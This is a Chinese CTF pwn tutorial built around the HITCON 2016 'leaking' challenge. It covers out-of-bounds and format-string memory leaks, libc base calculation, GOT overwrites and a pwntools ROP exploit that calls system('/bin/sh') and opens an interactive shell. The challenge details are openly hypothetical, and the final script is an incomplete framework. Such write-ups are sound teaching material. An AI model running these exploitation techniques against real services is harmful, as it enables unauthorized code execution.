CTF Pwn题内存泄露漏洞分析：从原理到实战利用

1. 项目概述：一次经典的CTF内存泄露漏洞分析

在CTF（Capture The Flag）竞赛的世界里，Pwn（二进制漏洞利用）类题目是检验选手逆向工程、漏洞分析和利用能力的核心战场。今天要深入拆解的，是来自2016年HITCON CTF的一道经典Pwn题——[hitcon 2016]leaking。这道题之所以在圈内被反复提及，不仅因为它出自顶级赛事，更因为它精准地考察了一个在真实漏洞利用中至关重要的前置环节：信息泄露。在没有ASLR（地址空间布局随机化）保护或需要绕过ASLR时，如何从程序中“榨取”出关键的内存地址信息，往往是整个利用链能否成功搭建的第一步。这道题就是以此为切入点，设计了一个精巧的“内存泄漏”场景，引导我们思考如何在没有直接输出功能的情况下，通过程序逻辑的“副作用”来获取信息。

简单来说，这道题模拟了一个存在逻辑缺陷的程序。它可能没有提供诸如printf、puts这样直接输出内容的函数，或者这些函数的输出被严格限制。但程序在处理用户输入或执行某些操作时，其行为会间接地、不经意地将内存中的某些数据“暴露”出来。我们的目标就是找到这个泄露点，并利用它获取诸如libc基地址、栈地址或程序本身地址等关键信息，为后续的ROP链构建或Shellcode跳转铺平道路。对于刚接触Pwn的新手，理解这道题是理解现代漏洞利用中“信息泄露”这一基础但核心概念的绝佳范例；对于有经验的选手，重温这道题也能帮助我们梳理在限制条件下进行信息搜集的多种思路。

2. 漏洞场景与程序逻辑逆向分析

拿到一个陌生的二进制文件，第一步永远是静态分析。使用file命令查看基本信息，用checksec检查其安全保护机制，是标准流程。对于leaking，我们通常会看到它是一个64位的ELF可执行文件，并且很可能开启了NX（堆栈不可执行）和ASLR（系统级）。但题目环境有时会关闭ASLR以便于初学者理解，或者需要我们利用泄露的信息来绕过它。

接下来，我们需要深入程序内部。使用IDA Pro、Ghidra或radare2等反汇编工具，我们可以梳理出程序的大致逻辑。典型的leaking类题目可能包含以下一种或几种模式：

2.1 逻辑缺陷型泄露程序可能有一个菜单，提供诸如“存储数据”、“读取数据”、“修改数据”等功能。漏洞往往出现在“读取”或“修改”功能的实现上。例如，程序允许用户指定一个索引来读取某个数组或链表中的数据，但没有正确验证索引的范围。如果允许读取负索引，就可能读取到数组之前内存区域的数据，这些数据可能包含栈上的返回地址、libc函数指针等。

2.2 格式化字符串漏洞型泄露这是信息泄露的“经典款”。虽然题目叫leaking，可能不会直接给一个明显的printf(user_input)，但可能会把用户输入作为某个格式化字符串函数的参数。例如，程序可能用snprintf将一个包含用户可控内容的字符串格式化到一个缓冲区，然后又用printf或syslog输出这个缓冲区。如果用户输入中包含%p、%x等格式化占位符，就可能导致栈上内容被打印出来。

2.3 未初始化内存泄露程序可能使用malloc分配堆内存，但在使用前没有进行初始化（例如没有用memset清零），就直接将其内容发送给用户。这块新分配的堆内存里可能残留着之前释放的堆块的数据，其中就可能包含堆管理器（如glibc的malloc）维护的指针，利用这些指针可以推算出堆或libc的基地址。

2.4 侧信道泄露这是一种更隐晦的方式。程序可能不会直接输出内存字节，但其行为（如执行时间、是否崩溃、分支选择）会依赖于某个内存值。通过精心构造输入并观察程序的行为差异，可以像“盲文”一样一点一点地推测出内存内容。不过，在CTF中，为了可解性，通常会采用前几种更直接的方式。

对于[hitcon 2016]leaking，根据公开的Write-up和社区讨论，其核心漏洞点通常被设计为第一种或第二种。我们需要在逆向工程中，重点关注所有涉及用户输入拷贝、处理、输出的函数，寻找那些缺少边界检查的数组索引、可能被控制的格式化字符串参数，或者对未初始化数据的使用。

注意：在静态分析时，要特别留意那些看似“无用”的代码分支或数据拷贝。漏洞往往隐藏在那些错误处理路径或者为了“方便”而留下的后门逻辑里。同时，要画出程序的关键数据结构图，理解全局变量、堆块、栈帧的布局，这能帮助你在发现泄露点时，立刻知道泄露的是什么数据。

3. 关键漏洞点定位与利用原理详解

假设通过逆向分析，我们定位到了漏洞点。这里以一个典型的“越界读”场景为例，进行原理深度剖析。

3.1 漏洞代码模拟假设程序中有一个全局数组char *notes[10]，用于存储用户通过malloc分配的便签内容。有一个view_note函数，其简化代码如下：

void view_note() { int index; printf("Index: "); scanf("%d", &index); if (index >= 0 && index < 10) { // 只检查了上界，未检查下界？ if (notes[index]) { printf("Content: %s\n", notes[index]); // 泄露点 } else { printf("No note here.\n"); } } else { printf("Invalid index!\n"); } }

粗看之下，代码似乎有检查index是否在[0, 10)范围内。但如果我们传入一个负值，例如-1，它就能通过if (index >= 0 && index < 10)这个检查吗？在C语言中，-1 >= 0的结果是false，所以程序会执行else分支，打印“Invalid index!”。看起来是安全的。

但漏洞可能不在这里。我们再仔细看，检查条件是不是写成了if (index < 10)，漏掉了index >= 0？或者，在另一个类似的edit_note函数里，它可能用了一个有符号整数与无符号整数比较的经典漏洞：

unsigned int idx; read(0, &idx, sizeof(idx)); if (idx < 10) { // idx 是 unsigned int, 传入-1会变成很大的正数，从而通过检查 // 越界访问 notes[idx] }

当idx被声明为unsigned int时，如果我们输入-1（即0xFFFFFFFF），它在内存中被解释为一个巨大的无符号整数（4294967295），这个值很可能大于10，因此检查if (idx < 10)会失败。所以这也不是常见的考点。

更典型的leaking漏洞可能在于：程序使用了一个有符号的int类型变量作为索引，但在进行边界检查时，只检查了上界，没有检查下界。或者，它允许的索引范围是0 <= index <= 10，但notes数组的大小正好是10，访问notes[10]就造成了越界。在内存布局上，notes数组之后可能紧接着就是其他重要的全局变量，比如存储printf或system函数地址的GOT表项，或者是一个指向libc中某处的函数指针。

3.2 泄露目标与计算我们的目标是泄露一个libc中的地址。为什么是libc？因为现代系统都开启了ASLR，libc的加载基地址每次运行都不同。但是，libc内部各个函数之间的相对偏移是固定的（只要libc版本相同）。如果我们能泄露任何一个libc函数的运行时地址，比如printf的地址，我们就能通过公式计算出libc的基地址：libc_base = leaked_printf_address - offset_of_printf_in_libc这个offset_of_printf_in_libc可以通过工具（如libc-database、pwntools的ELF模块）查询特定版本的libc得到。

在leaking题目中，常见的泄露目标有：

• GOT表项：全局偏移表（GOT）中存储着外部函数（如printf,puts,read）的绝对地址。如果我们可以越界读到GOT表所在的内存区域，就能直接拿到这些地址。
• 栈地址：如果泄露了栈上的一个返回地址，我们可以计算出栈的大致位置，为后续在栈上布置ROP链提供参考。
• 堆地址：如果泄露了堆块中的fd/bk指针（在glibc的堆管理结构中），可以推算出堆的基地址，用于构造堆相关的利用。
• _libc_start_main的返回地址：这是main函数返回时跳转的地址，位于libc中一个固定偏移处，是非常理想的泄露目标。

3.3 利用链构建思路

1. 信息泄露阶段：利用越界读（或其他漏洞），读取notes[-1]、notes[10]或notes[某个计算后的值]的内存内容。这个位置恰好是notes数组之后的一个指针，比如指向printf的GOT表项。
2. 地址计算阶段：将泄露出的原始字节数据（通常是8字节的小端序数据）解析成一个整数，这就是printf的运行时地址。然后，根据题目提供的libc版本（或通过泄露多个地址来匹配），查出printf在libc中的偏移。相减得到libc基地址。
3. 系统地址计算：有了libc基地址，我们就可以计算出任何我们需要的函数地址，最经典的就是system函数的地址：system_addr = libc_base + offset_of_system。
4. 后续利用：获取了关键地址，后续的利用就水到渠成了。我们可以结合程序的其他漏洞（如堆溢出、栈溢出）或功能（如edit_note），将某个函数指针（如GOT表中的free函数指针）覆盖为system地址，然后触发该函数调用（如free一个内容为/bin/sh的堆块），从而获得shell。

实操心得：在调试阶段，使用gdb的x/gx命令查看内存至关重要。你需要先静态分析出notes数组的地址（例如0x6020a0），然后在gdb中运行程序，查看0x6020a0附近的内存布局。计算notes[-1]对应的地址是0x6020a0 - 8，看看这里存放的是什么。如果是类似0x00007ffff7a7c690这样的值，再用info proc mappings查看libc的映射范围，如果这个地址落在libc的映射区间内，那它很可能就是一个libc地址，恭喜你找到了泄露点。

4. 动态调试与信息泄露利用实战

理论清晰后，我们进入实战环节。假设我们已经通过静态分析，怀疑view_note函数对index的检查存在下界越界问题，允许读取notes[-1]、notes[-2]等。

4.1 环境搭建与初步测试首先，用pwntools编写一个交互脚本的框架。

from pwn import * context.log_level = 'debug' context.arch = 'amd64' # 假设是64位程序 # p = process('./leaking') # 本地测试 p = remote('题目服务器', 端口) # 远程连接 def view(idx): p.sendlineafter(b'choice: ', b'2') # 假设2是查看功能 p.sendlineafter(b'Index: ', str(idx).encode()) # 接收输出并解析 # 测试越界读 for i in range(-5, 15): info(f"Trying index {i}") view(i)

运行脚本，观察输出。当索引为某些负值时，程序可能没有输出“Invalid index!”，而是输出了一串乱码或者一个看似像地址的十六进制字符串（可能被%s打印直到遇到空字节）。这就是泄露的信号。

4.2 精确泄露与地址解析我们需要精确控制读取的位置。假设我们发现notes[-2]泄露出了一个8字节的值。在pwntools脚本中，我们需要接收这个输出并解析。

def leak_addr(idx): p.sendlineafter(b'choice: ', b'2') p.sendlineafter(b'Index: ', str(idx).encode()) p.recvuntil(b'Content: ') # 泄露的内容可能被%s打印，遇到\x00停止。我们需要接收直到换行。 leak = p.recvline().strip() # 尝试将其解析为地址。可能不是完整的8字节，需要根据情况处理。 # 一种常见情况是，泄露的是指针指向的字符串内容，我们需要用 u64 解包。 # 但如果是直接越界读到了指针本身，可能输出的是指针值经过%s解释的字符串，可能不可读。 # 更可靠的方法是，如果程序有“显示十六进制”的功能，或者漏洞是格式化字符串，那会更直接。

如果程序没有直接输出指针值，而是输出指针所指向的字符串，那我们可能泄露的是.got.plt或.data节的内容。我们需要调整策略。

4.3 格式化字符串漏洞利用泄露如果漏洞点是格式化字符串，利用起来就更直接。例如，程序有一段代码：

char buf[100]; snprintf(buf, sizeof(buf), user_input); // user_input 我们可控 printf(buf); // 格式化字符串漏洞！

我们可以输入%p.%p.%p.%p.%p.%p...来探测栈上的数据。在64位系统中，前6个参数通过寄存器传递，但从第7个开始就在栈上。我们需要找到哪个%p对应着我们感兴趣的返回地址或GOT表地址。

使用pwntools可以自动化这个过程：

def fmt_leak(offset): payload = f'%{offset}$p' # 直接泄露栈上第offset个参数 p.sendlineafter(b'input: ', payload.encode()) p.recvuntil(b'0x') # 接收输出 leak = int(p.recvline().strip(), 16) return leak # 遍历可能的偏移 for i in range(1, 30): try: addr = fmt_leak(i) log.info(f"Offset {i}: {hex(addr)}") # 判断addr是否在libc地址空间 except: break

找到libc地址后，记录下其偏移i。之后就可以用%{i}$s来泄露该地址指向的字符串（如果它是可读指针），或者用%{i}$p来泄露地址本身。

4.4 计算libc基地址无论通过哪种方式，假设我们获得了printf函数的地址leaked_printf = 0x7ffff7a7c690。 我们需要知道libc版本。比赛有时会提供libc.so文件，或者可以通过泄露两个不同函数的地址，然后去libc-database等在线库中搜索匹配。

from pwn import ELF libc = ELF('./libc.so.6') # 提供的libc文件 printf_offset = libc.symbols['printf'] system_offset = libc.symbols['system'] bin_sh_offset = next(libc.search(b'/bin/sh\x00')) libc_base = leaked_printf - printf_offset system_addr = libc_base + system_offset bin_sh_addr = libc_base + bin_sh_offset log.success(f"libc base: {hex(libc_base)}") log.success(f"system addr: {hex(system_addr)}") log.success(f"bin/sh addr: {hex(bin_sh_addr)}")

5. 完整利用链构造与漏洞利用脚本编写

信息泄露完成后，我们就拥有了构建完整利用链的所有“拼图”。接下来需要找到一个“写入”原语，将计算出的system地址写入到合适的位置。

5.1 寻找写入点常见的写入点有：

• 堆溢出：如果存在edit_note功能，且修改时长度控制不当，可以覆盖相邻堆块的数据，进而覆盖函数指针。
• 栈溢出：如果存在一个读入用户输入到栈缓冲区的函数，且没有长度限制，可以直接覆盖返回地址。
• GOT表覆写：如果程序有“修改note内容”的功能，并且我们通过越界读知道了某个GOT表项的地址，那么或许可以通过类似的越界写（如果存在）来修改它。或者，如果存在一个任意地址写漏洞（如*ptr = value），我们可以直接瞄准GOT表。

假设我们通过逆向发现，edit_note函数同样存在索引验证缺陷，允许向notes[-1]写入数据。而notes[-1]这个位置，恰好是printf的GOT表指针（printf@got.plt）。那么，我们就可以将printf的GOT表项修改为system的地址。

5.2 构造利用脚本结合前面的泄露和找到的写入点，完整的利用脚本如下：

#!/usr/bin/env python3 from pwn import * import sys context.binary = './leaking' context.log_level = 'info' context.terminal = ['tmux', 'splitw', '-h'] elf = ELF('./leaking') # libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') # 本地libc，用于测试 libc = ELF('./libc.so.6') # 题目提供的libc def conn(): if len(sys.argv) > 1 and sys.argv[1] == 'remote': return remote('pwn.challenge.hitcon.2016', 12345) # 假设的远程地址 else: return process(elf.path) def view(idx): p.sendlineafter(b'> ', b'1') # 假设1是view p.sendlineafter(b'index: ', str(idx).encode()) p.recvuntil(b'content: ') return p.recvline().strip() def edit(idx, content): p.sendlineafter(b'> ', b'2') # 假设2是edit p.sendlineafter(b'index: ', str(idx).encode()) p.sendlineafter(b'content: ', content) p = conn() # 阶段一：信息泄露 log.info("Phase 1: Information Leak") # 通过越界读notes[-2]泄露printf的GOT地址 # 首先需要确定负索引多少能读到GOT。这需要结合gdb调试或暴力尝试。 leak_data = view(-2) # 假设泄露出来的是printf的地址，并且是完整的8字节，以字符串形式显示为地址 # 例如输出是：0x7f1a2b3c4d5e leak_str = leak_data.decode().split('0x')[-1] # 获取十六进制部分 if not leak_str: leak_str = leak_data.hex() # 如果是raw bytes，用hex printf_addr = int(leak_str, 16) log.success(f"Leaked printf address: {hex(printf_addr)}") # 计算libc基地址和其他关键地址 libc_base = printf_addr - libc.symbols['printf'] system_addr = libc_base + libc.symbols['system'] bin_sh_addr = libc_base + next(libc.search(b'/bin/sh\x00')) log.success(f"Libc base: {hex(libc_base)}") log.success(f"System address: {hex(system_addr)}") log.success(f"/bin/sh address: {hex(bin_sh_addr)}") # 阶段二：GOT表覆写 log.info("Phase 2: GOT Overwrite") # 假设通过分析，edit(-2)可以覆盖printf的GOT表项 # 我们需要将system地址写入。注意写入的格式，如果edit函数用strcpy，需要确保地址字符串不含空字节。 # 但地址0x7f...通常高位有00字节，strcpy会截断。所以需要利用其他写入原语，如write_n字节。 # 假设edit函数是安全的，我们换一种思路。 # 另一种常见思路：如果存在堆溢出，可以覆盖某个堆块中的函数指针。 # 或者，如果存在栈溢出，可以直接覆盖返回地址为system，并布置参数。 # 这里假设存在一个简单的栈溢出函数vuln_func log.info("Phase 3: Triggering exploit via stack overflow") # 寻找一个存在栈溢出的函数 # 假设调用 vuln_func 的选项是 3 p.sendlineafter(b'> ', b'3') # 构造ROP链或直接覆盖返回地址 # 在64位下，调用system需要将rdi设置为"/bin/sh"地址 # 我们需要一个pop rdi; ret的gadget。可以从二进制文件或libc中找。 rop = ROP([elf, libc]) pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0] ret = rop.find_gadget(['ret'])[0] # 可能用于栈对齐 payload = b'A' * 偏移量 # 填充到返回地址 payload += p64(pop_rdi) payload += p64(bin_sh_addr) payload += p64(ret) # 栈对齐，可选 payload += p64(system_addr) p.sendlineafter(b'input: ', payload) log.info("Payload sent.") # 阶段四：获取shell p.interactive()

这个脚本是一个框架，实际需要根据逆向分析结果调整：确定泄露的索引、确定写入原语、计算偏移量、寻找gadget等。

6. 常见问题排查与调试技巧实录

在实际操作中，几乎不可能一帆风顺。下面记录几个常见问题及其排查思路。

6.1 泄露的数据不是地址

• 现象：越界读或格式化字符串输出的是一堆不可读的字符，或者明显不是有效的内存地址。
• 排查：
  1. 检查接收解析方式：程序输出可能是原始字节，你的接收代码（recvuntil,recvline）可能处理不当，截断了\x00或换行符。尝试用recv(n)指定字节数接收，或者用recvall()。
  2. 检查泄露点：你读到的内存位置可能不是指针，而是其他数据。用gdb附加进程，在触发泄露的代码处下断点，直接查看目标内存地址的内容（x/gx $address），确认这里存放的是什么。
  3. 检查程序输出函数：程序是用printf(%s)输出吗？如果是，它会在遇到\x00时停止。如果目标指针的第一个字节就是\x00（小端序下地址高位为0），那么%s什么也打不出来。这时需要换用其他方式泄露，比如如果程序有输出十六进制的功能，或者利用格式化字符串的%p、%x。

6.2 计算出的libc基地址不对

• 现象：利用泄露地址减偏移算出的libc基地址，看起来不像一个正常的映射地址（例如不是0x7f开头，或者与info proc mappings显示的libc区域不符）。
• 排查：
  1. 确认libc版本：这是最常见的问题。你使用的libc偏移和题目环境的libc版本不一致。尝试泄露两个不同的函数地址（如printf和puts），然后用libc-database进行匹配：./find printf_addr puts_addr。
  2. 确认泄露的是什么地址：你确定泄露的是printf的地址吗？也可能是printf@got.plt的地址（即GOT表项的地址本身），而不是它指向的printf函数地址。在GDB中，x/gx &printf@got.plt显示的是GOT表项的位置，x/gx &printf@got.plt后再用x/gx查看该位置的内容，才是printf的实际地址。确保你泄露的是后者。
  3. 处理地址随机化：如果泄露的地址每次运行都变化，但相对偏移稳定，说明ASLR开启正常。确保你的计算是基于运行时泄露的值。

6.3 写入漏洞无法利用

• 现象：找到了越界写或溢出点，但写入后程序崩溃，或者覆盖没有生效。
• 排查：
  1. 检查写入长度和内容：写入函数是strcpy、memcpy还是read？strcpy遇到\x00会终止，如果你写入的地址包含\x00字节，写入会不完整。考虑使用memcpy或read的漏洞点。
  2. 检查覆盖目标：你覆盖的内存位置是否正确？用gdb在写入后立即检查目标内存地址（x/gx $target_address），确认是否被成功修改为你期望的值。
  3. 检查堆栈布局：对于栈溢出，填充的“偏移量”需要精确计算。可以通过模式字符串（如cyclic 200）生成测试数据，触发崩溃后查看RIP寄存器的值，再用cyclic -l $rip_value计算出精确偏移。
  4. 检查保护机制：如果程序开启了FULL RELRO，GOT表是只读的，无法覆盖。此时需要转向其他利用方式，如覆盖栈上的返回地址、覆盖__malloc_hook或__free_hook（如果libc版本较旧）等。

6.4 利用成功但拿不到shell

• 现象：最终执行到了system，但/bin/sh没启动，或者立即退出。
• 排查：
  1. 参数传递：64位下system的参数通过rdi传递。你的ROP链是否正确地设置了rdi？用gdb在跳转到system之前中断，检查rdi寄存器的值是否为/bin/sh的地址。
  2. 栈对齐：某些版本的libc的system函数对栈对齐有要求（16字节对齐）。在跳转到system之前，确保rsp % 16 == 0。可以在pop rdi; ret之后加一个额外的ret指令来调整。
  3. 字符串格式：确保/bin/sh字符串以\x00结尾。使用next(libc.search(b'/bin/sh\x00'))可以确保找到完整的字符串。
  4. 环境问题：在远程利用时，可能因为环境变量导致shell无法正常交互。尝试使用system(‘/bin/sh -i’)或者使用execve系统调用构造更稳定的payload。

调试是Pwn题的核心。多使用gdb配合pwntools的gdb.attach(p)，在关键节点（如泄露前后、写入前后、触发溢出前）下断点，仔细观察寄存器和内存的变化。将静态分析与动态调试结合起来，才能快速定位问题所在。每一次失败的利用尝试，其错误信息、崩溃地址都是宝贵的线索，学会解读它们，你的漏洞利用能力就会稳步提升。这道[hitcon 2016]leaking所训练的正是在复杂环境中抽丝剥茧、一步步获取控制权的思维和能力，这种能力在真实的安全研究和渗透测试中同样至关重要。